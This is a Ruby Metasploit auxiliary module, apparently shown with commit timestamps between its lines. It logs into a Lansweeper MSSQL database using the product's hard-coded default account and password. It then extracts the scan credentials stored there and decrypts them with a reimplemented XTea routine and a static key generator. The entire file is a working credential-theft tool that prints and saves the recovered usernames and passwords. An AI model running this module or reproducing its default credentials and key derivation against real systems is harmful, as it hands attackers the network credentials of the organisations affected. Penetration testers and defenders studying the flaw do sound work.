2015-06-26 00:29:30 +00:00
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require 'msf/core'
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2016-03-08 13:02:44 +00:00
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class MetasploitModule < Msf::Auxiliary
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2015-06-26 08:29:17 +00:00
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include Msf::Exploit::Remote::MSSQL
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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2015-08-13 17:33:04 +00:00
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'Name' => 'Lansweeper Credential Collector',
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'Description' => %q(
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Lansweeper stores the credentials it uses to scan the computers
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in its Microsoft SQL database. The passwords are XTea-encrypted with a
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68 character long key, in which the first 8 characters are stored with
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the password in the database and the other 60 is static. Lansweeper, by
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default, creates an MSSQL user "lansweeperuser" with the password is
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"mysecretpassword0*", and stores its data in a database called
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"lansweeperdb". This module will query the MSSQL database for the
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credentials.
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),
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'Author' =>
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[
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'sghctoma <tamas.szakaly[at]praudit.hu>', # Lansweeper RCE + Metasploit implementation
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'eq <balazs.bucsay[at]praudit.hu>', # Lansweeper RCE + discovering default credentials
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'calderpwn <calderon[at]websec.mx>' # Module for lansweeper (5.3.0.8)
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],
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'License' => MSF_LICENSE,
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'DefaultOptions' =>
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{
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'USERNAME' => 'lansweeperuser',
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'PASSWORD' => 'mysecretpassword0*'
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},
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'References' =>
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[
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['URL', 'http://www.lansweeper.com'],
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['URL', 'http://www.praudit.hu/prauditeng/index.php/blog/a-lansweeper-es-a-tea']
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]))
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register_options([
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OptString.new('DATABASE', [true, 'The Lansweeper database', 'lansweeperdb'])
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], self.class)
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end
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def uint32(n)
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n & 0xffffffff
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end
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2015-08-04 21:41:15 +00:00
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def xtea_decode(v, k)
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sum = 0xc6ef3720
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v_0 = uint32(v[0])
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v_1 = uint32(v[1])
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2015-06-28 00:06:15 +00:00
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0.upto(0x1f) do
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v_1 -= uint32((uint32(v_0 << 4) ^ uint32(v_0 >> 5)) + v_0) ^ uint32(sum + k[uint32(sum >> 11) & 3])
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v_1 = uint32(v_1)
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sum -= 0x9e3779b9
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sum = uint32(sum)
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v_0 -= (uint32(uint32(v_1 << 4) ^ uint32(v_1 >> 5)) + v_1) ^ uint32(sum + k[sum & 3])
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v_0 = uint32(v_0)
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end
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v[0] = v_0
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v[1] = v_1
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end
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def xtea_decrypt(data, key)
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k = key.ljust(16).unpack('VVVV')
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num = 0
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bytes = Array.new
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0.step(data.length - 1, 8) do |i|
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v = data[i, 8].unpack('VV')
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xtea_decode(v, k)
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bytes[num] = v[0]
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num += 1
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bytes[num] = v[1]
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num += 1
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end
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bytes.pack('c*')
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end
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def lsw_generate_pass
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key = ''
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(0..60).each do |num|
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key << [((40 - num) + ((num * 2) + num)) - 1].pack('c')
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key << [(num + 15) + num].pack('c')
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end
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key
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end
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def lsw_decrypt(data)
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data = Rex::Text.decode_base64(data)
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first = data[0]
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pass = data[1, 8]
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actual_data = data[9, data.length - 9]
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decrypted = xtea_decrypt(actual_data, pass + lsw_generate_pass)
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if first == '1'
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decrypted = decrypted[0, decrypted.length - 2]
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end
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2015-06-26 08:29:17 +00:00
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Rex::Text.to_ascii(decrypted, 'utf-16le')
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end
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2015-06-28 14:24:31 +00:00
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def report_cred(opts)
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service_data = {
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address: opts[:host],
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port: opts[:port],
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protocol: 'tcp',
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workspace_id: myworkspace.id,
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service_name: opts[:creds_name]
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}
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2015-06-28 14:24:31 +00:00
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credential_data = {
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2015-06-28 14:32:16 +00:00
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username: opts[:user],
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private_type: :password,
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private_data: opts[:password],
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origin_type: :service,
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module_fullname: self.fullname
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}.merge(service_data)
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2015-06-28 14:24:31 +00:00
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED
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}.merge(service_data)
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create_credential_login(login_data)
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end
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2015-06-26 08:29:17 +00:00
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def run
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unless mssql_login_datastore
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fail_with(Failure::NoAccess, 'Login failed. Check credentials.')
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end
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result = mssql_query("select Credname, Username, Password from #{datastore['DATABASE']}.dbo.tsysCredentials WHERE LEN(Password)>64", false)
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result[:rows].each do |row|""
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pw = lsw_decrypt(row[2])
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2015-06-28 00:06:15 +00:00
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print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}")
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report_cred(
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:host => rhost,
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:port => rport,
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:creds_name => row[0],
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:user => row[1],
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:password => pw
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)
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end
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disconnect
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end
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2015-06-26 00:29:30 +00:00
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end
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